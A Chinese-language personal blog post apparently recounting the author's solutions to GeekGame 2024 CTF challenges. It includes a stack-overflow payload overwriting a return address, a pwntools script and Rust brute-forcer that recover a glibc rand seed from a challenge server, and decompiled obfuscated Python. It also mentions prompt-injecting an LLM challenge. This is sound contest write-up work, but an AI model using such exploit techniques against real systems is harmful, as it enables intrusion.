Wind_Mask的博客

;

wind_mask's GeekGame 2024

16 min read


wind_mask’s GeekGame 2024

懒狗发作了,因此一切完整性都不做保证。还是一样的没有过程中的记录,除了留下的混乱的文件夹。 期间上了三个早八,除此之外则必须睡到中午。

各题幻

签到(囯内)

懒狗从一开始就已经发作,懒得解压,懒得看内容,也不知道怎么把记录也丢了。总之,让AI写一个递归解压缩的脚本,然后搜索flag。

清北问答

论俄苏的艺术。

不在于关注细节,因为那都是有意为之泄露的,以皮套言叫营业炒作。必须从人们自己都意识不到的泄露中洞察。

在清华大学百年校庆之际,北京大学向清华大学赠送了一块石刻。石刻最上面一行文字是什么?

尽管说是这么一说,但是第一题一开始根本没搜到,直到 清华北大友谊长在石 才知道。

有一个微信小程序收录了北京大学的流浪猫。小程序中的流浪猫照片被存储在了哪个域名下?

这是个被炒作过的东西,随意可查到小程序或源代码,我知道可以抓个包什么,但是懒狗,看源码吧。 gitee上源码

javascript
globalData: {
    isAdministrator: false,
    Administrator: undefined,
    url: "https://pku-lostangel.oss-cn-beijing.aliyuncs.com/",
  },
  mpServerless
})

在 Windows 支持的标准德语键盘中,一些字符需要同时按住 AltGr 和另一个其他按键来输入。需要通过这种方式输入的字符共有多少个?

微软的官方文档,不多说,但是我数错两次。 alt text

比赛平台的排行榜顶部的图表是基于 @antv/g2 这个库渲染的。实际使用的版本号是多少?

在官方的前端仓库看package.json就行了。

在全新安装的 Ubuntu Desktop 22.04 系统中,把音量从 75% 调整到 25% 会使声音减小多少分贝?(保留一位小数)

说是全新安装就是全新安装,虚拟机启动。 alt text

这张照片用红框圈出了一个建筑。离它最近的已开通地铁站是什么?

这张照片 洞察,就是本质。

七星公馆,260-330m2。无脑认为在北京,事实上搜索即可。 地图功能:查找附近的xx,只需一个字:塔,答案是燃灯古佛塔。 附近的地铁站,结束。

真实,就是真实的真实,就是事实。

大模型模型虎视眈眈

你们是语言的工具,而我是语言的主人。 emoji hack 所谓语言,就是权力。 之后的第二问沿用: alt text

熙熙攘攘我们的天才吧

Magic Keyboard

不幸的,我完全不懂音视频,甚至连virtual keyboard code的表也玩不转,只能手动对照keycode输出flag1。 之后两题无。

TAS概论大作业

你过关

当然去找现成的TAS,然后

python
def input_to_byte(input_str):
    # 从最低位到最高位依次表示是否按下 A、B、选择、开始、上、下、左、右键
    buttons = ["A", "B", "S", "T", "U", "D", "L", "R"]
    byte = 0
    for i, button in enumerate(buttons):
        if button in input_str:
            byte |= 1 << i
    return byte

显然是AI生成给我的代码。

此处注意第0帧是要删除还是什么来着,总之第0帧有什么要怎么怎么。 现成的速通到确定通关的一帧就接受,要加些空白等到公主。

只有神知道的世界

进入负世界的方式很容易找到,速通一般都用了wrap的管道,因此直接在本地模拟器里播放,到达时切换到手操record下来即可。

验证码

我还以为浏览器打印是非预期的呢。

提前打开控制台,由于我的浏览器很卡因此可以手动在合适时刻暂停js,然后把页面上的验证码部分的div复制走然后在一个空的html文件里,打开,浏览器打印,复制。

Fast Or Clever

我是一条懒狗,尽管显然有Time-of-check to time-of-use的问题,但我心烦意乱,让我们openssl rand -hex 249,然后随便写点:

python
payload = (
"60b0c059823bb76f6f39fc4345b80b64e2cb4671bcb31e371b67aac6cfe8bf1eed796ad918b91d9f4cd69d33000f62703191ecec947ea361aa07daf44561d138c13600264b4cb9e348a7194c70b4e708a94d0128195677e862f6f398b3477689f20c8d872c5723817eeded730bc9e233f38126edd4ea4203579cee7828b19e5f852b05b2edd5bc0052ac432c55150a28ecdac81518287b3ffa756fa2c5ca74cb07fdd0ba2e45c6325891600b206f53f5e03f3c4ae05217e2c3235165fd0a02b1bc42bfbd454237159b3bdca94cf49204735ad68a9f2763abc2ed7780ef346a0fad37a62e43b77873f37863b9c27f6e66113059660764216c2edf14294c49eb82😒"
).encode()

然后提交,然后就过了。

从零开始学Python

是的使用pyinstxtractor-ng,然后你会得到pymaster.pyc,然后 uncompyle6,即可得到:

python
if random.randint(0, 65535) != 54830:
    exec(marshal.loads(base64.b64decode(
b"YwAAAAAAAAAAAAAAAAAAAAAFAAAAQAAAAHMwAAAAZABaAGUBZAGDAWUCZQNkAoMBZAODAmUCZQNkBIMBZAWDAmUAgwGDAYMBAQBkBlMAKQdztAQAAGVKekZWMTFQMnpBVWZhL1UvMkN5bDBSanlCV3NiR2g3R0N2ZFlCMHBHNkFGeEt5MGRkdWdORUg1Z0VRVC8zMTIzQ1NPN1RSdDBiUlVhdFBjYzI5OGo0K3ZyNTNGZ3g5RUlMQzlpYjlvdHh6MmQyU0h1SHZRYnJWYnI4RFV0V2NkOEJGbzlPWlA2c2ZvVTdDUG9xOG42THY5OHhJSHlPeWpvWFU0aDk2elJqM2FyYkZyaHlHd0oyZGZnc3RmcG5WKzFHNEJjazN3RkNEa2VFNkVrRjVZaDd2QUpGZjJEWTBsbEY0bFlvOEN5QWpvVDUwZE1qdXNzVVBxZis1N1dHMkhacE1kRm5aRmhxUFZHZFprZFVvdUxtb2VvSXhhSWFtNDkvbHdUM1BIeFp5TnBickRvbkk0ZWpsVEViZ2tSb21XUENoTzhpZkVLZnlFUkl0YlR4Y0NHTEl2ZGtQVlVPcENYamVFeEM1SlFwZmpOZWVsOFBFbUV0VXFaM1VFUTVIVldpVFZNYlVOdzF2VEFWOU1COXlPRG1tQ042SGpuNm5qNVhSc3FZNm1qT3I4bW9XaFhIYmJydUoxaDY0b2U5ZVZzcGZ3eEtTa1hDWUMvVWxlblZPQlZUS3o3RkZOT1dUR2ZHOUl1TGNVejdLYlNzUmtWY21VYTN0YUFqS3BKZFF6cWEyZG5FVjBsbWFueE1JcU5zMzlrd3BKTEtWVVNibTNCdVdtUUxtWlV3NWx5dUVxeXVGL3BSeXVTK05LeWswRjVYQWp5cE5OT2lCU2hiaDJTdWZRQ25ETWd4a3RKVXJaQ1FsTlJGd3plMHZmRWllMUYxbWY5b0ZEWkozYnFySlNHV3lzcUl0TmRVa09vR29CODNJTUpIVnRwSzB5bmlDeVplTExBaStsek10R0hVTktrbGVseWtWVllMbUcwVGRZbzFyUjNBVnZYNzR2SlBGSG1zYitWUHM5V1FVaGVFM1FhWVJEL2JiQ0xSbm03K1VaWW8vK09GNmt3MTBBazM3ZnVET0VBTXJ4WlBTc2pjeUZIK0FvRGp3UUtwSk5TNWY3UEZtMWF1NjVOU0t0anpYV3hvcDFRUWlWV2VrWVZIQmlJVnB2U1NpVTByd1V1RXc1clJRN3NFQmNUNWZvdXVjamovUmkzeTZlelFuQThSN2lTTmVHTGlhSFI0QzlDQWNnbXVQcy9IZ0V0TUtKY09KaWJzZVpHNVRUL1M2WDFrTkFxZEl1Z3hUWU05dnhkalJPR1d6T1pjSE9iNC9lM3RGUTdLQ3FBVC9nalc4NnpQaXNiZm9pOW1US2h4dVFiTG5ncXByTmNaM29uQWo4aFc3c2tyRk5TZ1lHaHNHL0JkSGdCRHJET2t3NlVMMGxWT1F0elljRDFJdUhTZDBRMEZlMEJtUW4vcjFSOTJDQ3gvNEU2OXJoeWRqOVlRMVB6YkQzT0lpdGI3M2hZSGpqd0xQUndEcCtQN3J3MzMyKzZibjl4NmRqQ3g2T3crNXBUaDAvSjA2bEE3NlNtYmY4R016OHFCREtmakVEZ3RLVk0wVS9EajF5ZS9ZQ0kwUmZwaUcwSUdhRU5GSEVQYXJidjV1T0tGVT3aBGV4ZWPaBHpsaWLaCmRlY29tcHJlc3PaBmJhc2U2NNoJYjY0ZGVjb2RlTikE2gRjb2Rl2gRldmFs2gdnZXRhdHRy2gpfX2ltcG9ydF9fqQByCQAAAHIJAAAA2gDaCDxtb2R1bGU+AQAAAHMKAAAABAEGAQwBEP8C/w=="
)))

然后里面这些垃圾需要:

python
dis.disassemble(marshal.loads(base64.b64decode(
b"YwAAAAAAAAAAAAAAAAAAAAAFAAAAQAAAAHMwAAAAZABaAGUBZAGDAWUCZQNkAoMBZAODAmUCZQNkBIMBZAWDAmUAgwGDAYMBAQBkBlMAKQdztAQAAGVKekZWMTFQMnpBVWZhL1UvMkN5bDBSanlCV3NiR2g3R0N2ZFlCMHBHNkFGeEt5MGRkdWdORUg1Z0VRVC8zMTIzQ1NPN1RSdDBiUlVhdFBjYzI5OGo0K3ZyNTNGZ3g5RUlMQzlpYjlvdHh6MmQyU0h1SHZRYnJWYnI4RFV0V2NkOEJGbzlPWlA2c2ZvVTdDUG9xOG42THY5OHhJSHlPeWpvWFU0aDk2elJqM2FyYkZyaHlHd0oyZGZnc3RmcG5WKzFHNEJjazN3RkNEa2VFNkVrRjVZaDd2QUpGZjJEWTBsbEY0bFlvOEN5QWpvVDUwZE1qdXNzVVBxZis1N1dHMkhacE1kRm5aRmhxUFZHZFprZFVvdUxtb2VvSXhhSWFtNDkvbHdUM1BIeFp5TnBickRvbkk0ZWpsVEViZ2tSb21XUENoTzhpZkVLZnlFUkl0YlR4Y0NHTEl2ZGtQVlVPcENYamVFeEM1SlFwZmpOZWVsOFBFbUV0VXFaM1VFUTVIVldpVFZNYlVOdzF2VEFWOU1COXlPRG1tQ042SGpuNm5qNVhSc3FZNm1qT3I4bW9XaFhIYmJydUoxaDY0b2U5ZVZzcGZ3eEtTa1hDWUMvVWxlblZPQlZUS3o3RkZOT1dUR2ZHOUl1TGNVejdLYlNzUmtWY21VYTN0YUFqS3BKZFF6cWEyZG5FVjBsbWFueE1JcU5zMzlrd3BKTEtWVVNibTNCdVdtUUxtWlV3NWx5dUVxeXVGL3BSeXVTK05LeWswRjVYQWp5cE5OT2lCU2hiaDJTdWZRQ25ETWd4a3RKVXJaQ1FsTlJGd3plMHZmRWllMUYxbWY5b0ZEWkozYnFySlNHV3lzcUl0TmRVa09vR29CODNJTUpIVnRwSzB5bmlDeVplTExBaStsek10R0hVTktrbGVseWtWVllMbUcwVGRZbzFyUjNBVnZYNzR2SlBGSG1zYitWUHM5V1FVaGVFM1FhWVJEL2JiQ0xSbm03K1VaWW8vK09GNmt3MTBBazM3ZnVET0VBTXJ4WlBTc2pjeUZIK0FvRGp3UUtwSk5TNWY3UEZtMWF1NjVOU0t0anpYV3hvcDFRUWlWV2VrWVZIQmlJVnB2U1NpVTByd1V1RXc1clJRN3NFQmNUNWZvdXVjamovUmkzeTZlelFuQThSN2lTTmVHTGlhSFI0QzlDQWNnbXVQcy9IZ0V0TUtKY09KaWJzZVpHNVRUL1M2WDFrTkFxZEl1Z3hUWU05dnhkalJPR1d6T1pjSE9iNC9lM3RGUTdLQ3FBVC9nalc4NnpQaXNiZm9pOW1US2h4dVFiTG5ncXByTmNaM29uQWo4aFc3c2tyRk5TZ1lHaHNHL0JkSGdCRHJET2t3NlVMMGxWT1F0elljRDFJdUhTZDBRMEZlMEJtUW4vcjFSOTJDQ3gvNEU2OXJoeWRqOVlRMVB6YkQzT0lpdGI3M2hZSGpqd0xQUndEcCtQN3J3MzMyKzZibjl4NmRqQ3g2T3crNXBUaDAvSjA2bEE3NlNtYmY4R016OHFCREtmakVEZ3RLVk0wVS9EajF5ZS9ZQ0kwUmZwaUcwSUdhRU5GSEVQYXJidjV1T0tGVT3aBGV4ZWPaBHpsaWLaCmRlY29tcHJlc3PaBmJhc2U2NNoJYjY0ZGVjb2RlTikE2gRjb2Rl2gRldmFs2gdnZXRhdHRy2gpfX2ltcG9ydF9fqQByCQAAAHIJAAAA2gDaCDxtb2R1bGU+AQAAAHMKAAAABAEGAQwBEP8C/w=="
)))

然后又是一堆垃圾,需要:

python
# base64 编码的压缩数据
code = b"eJzFV11P2zAUfa/U/2Cyl0RjyBWsbGh7GCvdYB0pG6AFxKy0ddugNEH5gEQT/3123CSO7TRt0bRUatPcc298j4+vr53Fgx9EILC9ib9otxz2d2SHuHvQbrVbr8DUtWcd8BFo9OZP6sfoU7CPoq8n6Lv98xIHyOyjoXU4h96zRj3arbFrhyGwJ2dfgstfpnV+1G4Bck3wFCDkeE6EkF5Yh7vAJFf2DY0llF4lYo8CyAjoT50dMjussUPqf+57WG2HZpMdFnZFhqPVGdZkdUouLmoeoIxaIam49/lwT3PHxZyNpbrDonI4ejlTEbgkRomWPChO8ifEKfyERItbTxcCGLIvdkPVUOpCXjeExC5JQpfjNeel8PEmEtUqZ3UEQ5HVWiTVMbUNw1vTAV9MB9yODmmCN6Hjn6nj5XRsqY6mjOr8moWhXHbbruJ1h64oe9eVspfwxKSkXCYC/UlenVOBVTKz7FFNOWTGfG9IuLcUz7KbSsRkVcmUa3taAjKpJdQzqa2dnEV0lmanxMIqNs39kwpJLKVUSbm3BuWmQLmZUw5lyuEqyuF/pRyuS+NKyk0F5XAjypNNOiBShbh2SufQCnDMgxktJUrZCQlNRFwze0vfEie1F1mf9oFDZJ3bqrJSGWysqItNdUkOoGoB83IMJHVtpK0yniCyZeLLAi+lzMtGHUNKklelykVVYLmG0TdYo1rR3AVvX74vJPFHmsb+VPs9WQUheE3QaYRD/bbCLRnm7+UZYo/+OF6kw10Ak37fuDOEAMrxZPSsjcyFH+AoDjwQKpJNS5f7PFm1au65NSKtjzXWxop1QQiVWekYVHBiIVpvSSiU0rwUuEw5rRQ7sEBcT5fouucjj/Ri3y6ezQnA8R7iSNeGLiaHR4C9CAcgmuPs/HgEtMKJcOJibseZG5TT/S6X1kNAqdIugxTYM9vxdjROGWzOZcHOb4/e3tFQ7KCqAT/gjW86zPisbfoi9mTKhxuQbLngqprNcZ3onAj8hW7skrFNSgYGhsG/BdHgBDrDOkw6UL0lVOQtzYcD1IuHSd0Q0Fe0BmQn/r1R92CCx/4E69rhydj9YQ1PzbD3OIitb73hYHjjwLPRwDp+P7rw332+6bn9x6djCx6Ow+5pTh0/J06lA76Smbf8GMz8qBDKfjEDgtKVM0U/Dj1ye/YCI0RfpiG0IGaENFHEParbv5uOKFU="
# 解码 base64 数据
decoded_data = base64.b64decode(code)
# 解压缩数据
decompressed_data = zlib.decompress(decoded_data)

这段显然是AI给我的。 然后才有了# flag1 =xxxx,里面又是些:

python
class adJGrTXOYN:

    def __init__(adJGrTXOYP, OOOO, OOO0):

        adJGrTXOYP.OOOO = OOOO

        adJGrTXOYP.OOO0 = OOO0

        adJGrTXOYP.OO0O = None

        adJGrTXOYP.O0OO = None

        adJGrTXOYP.O0O0 = None
......

我们懒狗放心地交给AI来解决。

python
class Node:
    def __init__(self, key, value):
        self.key = key
        self.value = value
        self.parent = None
        self.left = None
        self.right = None
......

然后就够了。 随机数固定了显然是seed,去找random.pyc,解出来看到了flag2就是seed。 对比是encoded_flag = base64.b64decode("7EclRYPIOsDvLuYKDPLPZi0JbLYB9bQo8CZDlFvwBY07cs6I")。 然后懒狗的大胆猜测这些什么什么的都是些置换而已。 试验一下,“flag{xxxx“之类有5个字节正确了。 那就ok了。

python
def init_and_r(flag_input: str):
    suc = [False] * 36
    tree = BinaryTree()
    random.seed(x)
    y = random.randint(0, 65535)
    assert y == 54830
    if len(flag_input) != 36:
        print("Try again!")
        return
    # if flag_input[:5] != "flag{" or flag_input[-1] != "}":
    #     print("Try again!")
    #     return
    for character in flag_input:
        tree.add_item(random.random(), ord(character))
    for _ in range(0x100):
        random_traverse(tree)
    flag_decoded = decode_flag(tree.root)
    for i in range(len(encoded_flag)):
        if flag_decoded[i] == encoded_flag[i]:
            suc[i] = True
    return suc
def guess(index: int):
    global g_flag, true_flag
    successd_index = init_and_r("".join(g_flag))
    local_random = random.Random(time.time())
    while True:
        g_flag[index] = chr(local_random.randint(0, 0xFF))
        s = init_and_r(g_flag)
        if successd_index != s:
            print("success in index", index)
            print("flag:", g_flag[index])
            true_flag += g_flag[index]
            return
        else:
            successd_index = s

生活在树上

Level 1

我们也就只知道栈溢出了……

python
backdoor_address = 0x401243
# 构造恶意输入
payload = b"A" * 488  # 填充 v5 缓冲区
payload += b"B" * 8  # 填充其他局部变量和栈帧指针
payload += struct.pack("<Q", backdoor_address)  # 覆盖返回地址

是的没错payload都是AI帮我写的。

栈对齐还加ret?呵呵,让我们直接跳到call system前两条指令呗。

懒狗,永远都是。

然后Level 2什么的反受其害,一直只能跳到fake backdoor,怎么跳就是跳不进我构造的的/bin/sh

完美的代码

发现

其实我一开始以为问题是size可以为0:szie为0的vec地址就是里面类型的对齐,也就是vec![0; 0].into_boxed_slice()得到的Box其实ptr的值就是0x4,如果能访问显然会出错。

但其实如果没有真正的错误,是没法访问的。 手操一下发现跳过了有检查的put直接unchecked put,看来是虚表坏了。 直接看nightly特性和unsafe,大概问题出在trait对象上。 尽管已经拿到任意地址写了,但是懒狗又不想思考怎么利用了。 想着local_data什么是不是可以溢出到栈上,但是显然虚妄。后来想到应该是修改虚表跳到什么什么去,也懒得思路了。

打破复杂度

我知道做题,OI,ACM等泛滥了。 卡常,请。

关于SPFA—它死了

这个真有现成的生成图的代码:如何卡SPFA

Dinic并非万能

没有现成,我已无救。 但是知乎上含混不清的回答也可吧:如何使最大流的 Dinic 算法达到理论上的最坏时间复杂度? 对着这玩意看了半天,其实我还是看不懂。 强行对着写点吧:

cpp
#include <cassert>
#include <climits>
#include <fstream>
#include <iostream>
#include <list>
#include <tuple>
#include <vector>
const int MAXN = 100;
const int MAXM = 5000;
const int MAXW = 1e9;
using namespace std;

struct edge {
  int to, cap;
  edge *rev;
};
list<edge> E[MAXN + 1];

void add_edge(int u, int v, int cap) {

  edge e1 = {v, cap, nullptr};
  edge e2 = {u, 0, nullptr};
  E[u].push_back(e1);
  E[v].push_back(e2);
  E[u].back().rev = &E[v].back();
  E[v].back().rev = &E[u].back();
}
int main() {
  int n = MAXN; // Number of nodes
  int m = MAXM; // Number of edges
  int s = 1;    // Source
  int t = 100;  // Sink
  int k = 24;
  vector<tuple<int, int, int>> edges;

  for (int i = 2; i <= k + 1; i++) {
    // s连到二分图一侧,另一侧连到t
    add_edge(1, i, k);
    add_edge(i + k, t, k);
    edges.push_back(make_tuple(1, i, k));
    edges.push_back(make_tuple(i + k, t, k));
  } // 二分图为点2到k+1和点k+2到2k+1

  for (int i = 2; i <= k + 1; i++) {
    for (int j = i + k; j <= 2 * k + 1; j++) {
      for (int l = 0; l < 7; l++) {
        add_edge(i, j, 1);
        add_edge(j, i, 1);
        edges.push_back(make_tuple(i, j, 1));
        edges.push_back(make_tuple(j, i, 1));
      }
    }
  }

  // 两个点,与二分图两侧相连,cap为k
  for (int i = 2; i <= k + 1; i++) {
    add_edge(2 * k + 2, i, k);
    add_edge(i, 2 * k + 2, k);
    add_edge(i + k, 2 * k + 3, k);
    add_edge(2 * k + 3, i + k, k);
    edges.push_back(make_tuple(2 * k + 2, i, k));
    edges.push_back(make_tuple(i, 2 * k + 2, k));
    edges.push_back(make_tuple(i + k, 2 * k + 3, k));
    edges.push_back(make_tuple(2 * k + 3, i + k, k));
  }

  int ban = (n - 2 * k - 4) / 2 + 2 * k + 4;

  // 剩下的点构成s到t的路径
  add_edge(1, 2 * k + 4, MAXW);
  edges.push_back(make_tuple(1, 2 * k + 4, MAXW));
  for (int i = 2 * k + 4; i < ban; i++) {
    add_edge(i, i + 1, MAXW);
    edges.push_back(make_tuple(i, i + 1, MAXW));
  }
  for (int i = ban + 1; i <= n - 2; i++) {
    add_edge(i, i + 1, MAXW);
    edges.push_back(make_tuple(i, i + 1, MAXW));
  }
  add_edge(n - 1, n, MAXW);
  edges.push_back(make_tuple(n - 1, n, MAXW));

  // 剩下的点每四个连到二分图一侧
  int flag = 0;
  for (int i = 2 * k + 4; i <= ban; i += 4) {
    add_edge(i, 2 * k + 2 + flag, k * k);
    add_edge(2 * k + 2 + flag, i, k * k);
    edges.push_back(make_tuple(i, 2 * k + 2 + flag, k * k));
    edges.push_back(make_tuple(2 * k + 2 + flag, i, k * k));

    if (flag == 0) {
      flag = 1;
    } else {
      flag = 0;
    }
  }
  for (int i = ban + 1; i <= n - 1; i += 4) {
    add_edge(2 * k + 3 - flag, i, k * k);
    add_edge(i, 2 * k + 3 - flag, k * k);
    edges.push_back(make_tuple(2 * k + 3 - flag, i, k * k));
    edges.push_back(make_tuple(i, 2 * k + 3 - flag, k * k));
    if (flag == 0) {
      flag = 1;
    } else {
      flag = 0;
    }
  }

  // 打印图到文件
  ofstream outfile("graph.txt");
  outfile << n << " " << edges.size() << " " << s << " " << t << endl;
  for (const auto &e : edges) {
    int u, v, c;
    tie(u, v, c) = e;
    outfile << u << " " << v << " " << c << endl;
  }
  outfile.close();

  //   dinic(n, edges.size(), s, t);

  //   cerr << "Operations: " << ops << endl;

  return 0;
}

嗯,完全不懂,手动艹出来的答案。

随机数生成器

C++

是的完全的懒狗,我连glibc的rand到底是什么也没找到,因为我看到网上说据说已经从那什么线性同余改善了。 等到提示后,我才能找到源码……然后我干了更无聊的穷举。

python
import pwn
url = "prob15.geekgame.pku.edu.cn"
port = 10015
token = b"xxxx"
rand = []
conn = pwn.remote(url, port)
line = conn.recvuntil(b":")
print(line)
conn.send(token + b"\r\n")
conn.send(b"\r\n")
rand.append(int(conn.recvline().strip()))
for i in range(255):
    conn.send(b"\r\n")
    rand.append(int(conn.recvline().strip()))
assert len(rand) == 256
with open("rand.txt", "w") as f:
    for i in rand:
        f.write(f"{i}\n")

然后拿着rand.txt去穷举吧!

rust
use rayon::iter::{IntoParallelIterator, ParallelIterator};
use std::fs::File;
use std::i32;
use std::io::Read;
struct Rng {
    seed: i32,
    a: i64,
    m: i32,
    v: [i32; 31],
}
impl Rng {
    fn new(seed: i32) -> Rng {
        let mut init = [0; 344];
        let mut rng = Rng {
            seed,
            a: 16807,
            m: 2147483647,
            v: [0; 31],
        };
        init[0] = seed;
        for i in 1..31 {
            init[i] = (rng.a.wrapping_mul(init[i - 1] as i64) % rng.m as i64) as i32;
            if init[i] < 0 {
                init[i] += rng.m;
            }
        }
        for i in 31..34 {
            init[i] = init[i - 31];
        }
        for i in 34..344 {
            init[i] = init[i - 31].wrapping_add(init[i - 3]);
        }
        for i in 0..31 {
            rng.v[i] = init[i + 313];
        }
        rng
    }
    fn next(&mut self) -> i32 {
        let n = self.v[0].wrapping_add(self.v[28]);
        for i in 1..31 {
            self.v[i - 1] = self.v[i];
        }
        self.v[30] = n;
        ((n as u32) >> 1) as i32
    }
}
fn main() {
    let mut f = File::open("rand.txt").unwrap();
    let mut contents = String::new();
    f.read_to_string(&mut contents).unwrap();
    let mut lines = contents.lines();
    let mut rand_v = [0; 256];
    for i in 0..256 {
        rand_v[i] = lines.next().unwrap().parse().unwrap();
    }
    let f = "flag{";
    let mut SEED: i32 = 0;
    let start_time = std::time::Instant::now();
    (0..=u32::MAX)
        .into_par_iter()
        .find_any(|&seed| {
            let mut rng = Rng::new(seed as i32);
            for i in 0..4 {
                if rng.next() != rand_v[i] - f.as_bytes()[i] as i32 {
                    return false;
                }
            }
            return true;
        })
        .map(|seed| {
            println!("Found seed: {}", seed);
            SEED = seed as i32;
            println!("Time: {:?}", start_time.elapsed());
        });
    let mut rng = Rng::new(SEED);
    let ff=rand_v.map(|v|{
        v-rng.next()
    });
    let flag: String = ff.iter().map(|&b| b as u8 as char).collect();
    println!("Flag: {}", flag);
}

没有什么线性方程组,没有什么Z3,没有什么数学——懒狗一无所有。

神秘计算器

素数判断函数

费马检验,启动。 最后搞出点1-1%((2**n%n-2)**2+1)-1%(n**2/4)+1%((n-341)**2+1)这种垃圾。

Pell数(一)

通项公式嗯凑((1+2**(1/2))**(n-1)+1)/8**(1/2)//1

Pell数(二)

这个真得等提示才看到,生成函数哈哈。 大约是2**(2*n*n-2*n)//(2**(4*n-4)-2**(2*n-1)-1)%2**(2*n-2)

闲话

我处在无边的怠惰中,这是事实。因此,这一切都归于无。

冠盖满京华,斯人独憔悴。 …… 千秋万岁名,寂寞身后事。